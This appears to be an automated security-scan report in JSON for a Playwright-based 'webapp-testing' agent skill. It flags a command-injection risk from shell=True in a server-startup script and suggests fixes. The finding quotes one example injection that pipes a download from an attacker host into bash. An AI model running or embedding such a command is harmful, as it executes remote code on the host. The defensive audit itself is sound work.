{
  "skill_name": "webapp-testing",
  "skill_path": "./skills/anthropics-skills/skills/webapp-testing",
  "skill_directory": "./skills/anthropics-skills/skills/webapp-testing",
  "is_safe": true,
  "max_severity": "MEDIUM",
  "findings_count": 1,
  "findings": [
    {
      "id": "llm_finding_webapp-testing_1",
      "rule_id": "LLM_COMMAND_INJECTION",
      "category": "command_injection",
      "severity": "MEDIUM",
      "title": "Command Injection Risk in Server Startup",
      "description": "The with_server.py script accepts arbitrary shell commands via --server argument and executes them using subprocess.Popen() with shell=True. While this is the intended functionality for starting development servers, it creates command injection risk if the skill is invoked with untrusted user input that flows into the --server parameter. An attacker could inject malicious commands like '--server \"npm start && curl attacker.com | bash\"'.",
      "file_path": "scripts/with_server.py",
      "line_number": 60,
      "snippet": "subprocess.Popen(server_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, preexec_fn=os.setsid)\n\nThe shell=True parameter combined with user-controllable server_cmd creates injection potential.",
      "remediation": "1. Document that --server commands must be trusted and should not include unsanitized user input. 2. Consider validating server commands against an allowlist of known-safe patterns. 3. If possible, parse commands and use shell=False with argument lists instead of shell strings. 4. Add warning in SKILL.md that this tool executes arbitrary commands and requires trusted input.",
      "analyzer": "llm",
      "metadata": {
        "model": "claude-sonnet-4-5-20250929",
        "overall_assessment": "The webapp-testing skill is a legitimate Playwright-based web application testing toolkit with MODERATE security concerns. The skill's core functionality (browser automation, server lifecycle management) is appropriate for its stated purpose. Primary concerns include: (1) missing allowed-tools declaration creating permission ambiguity, (2) command injection risk in server startup due to shell=True with user-controllable input, (3) hardcoded output paths without documentation of runtime environment, and (4) potential for unbounded timeouts. The skill does NOT exhibit malicious behavior such as data exfiltration, credential theft, or prompt injection. The referenced files (inspection.py, sync_playwright.py) are not found but appear to be documentation references rather than critical dependencies. The skill would benefit from explicit permission declarations and input validation improvements.",
        "primary_threats": [
          "Tool permission ambiguity",
          "Command injection potential",
          "Undocumented runtime requirements"
        ],
        "aitech": "AITech-9.1",
        "aitech_name": "Model or Agentic System Manipulation",
        "aisubtech": "AISubtech-9.1.4",
        "aisubtech_name": "Injection Attacks (SQL, Command Execution, XSS)",
        "scanner_category": "INJECTION ATTACK",
        "meta_validated": true,
        "meta_confidence": "MEDIUM",
        "meta_confidence_reason": "This is a legitimate design choice for a development tool that needs to support complex server startup commands (cd, &&, environment variables). The risk is MEDIUM because: (1) the skill is intended for local development, not production; (2) the AI agent typically controls the command input based on user instructions; (3) exploitation requires the agent to pass malicious user input directly without sanitization. However, it's worth documenting the trust assumptions.",
        "meta_exploitability": "Medium - Requires AI agent to pass unsanitized user input directly into --server parameter. In typical usage, the agent constructs commands based on project structure, not raw user input.",
        "meta_impact": "High - Arbitrary command execution on the host system if exploited"
      }
    }
  ],
  "scan_duration_seconds": 37.891366720199585,
  "duration_ms": 37891,
  "analyzers_used": [
    "static_analyzer",
    "behavioral_analyzer",
    "llm_analyzer",
    "trigger_analyzer",
    "meta_analyzer"
  ],
  "timestamp": "2026-02-01T09:56:03.122773"
}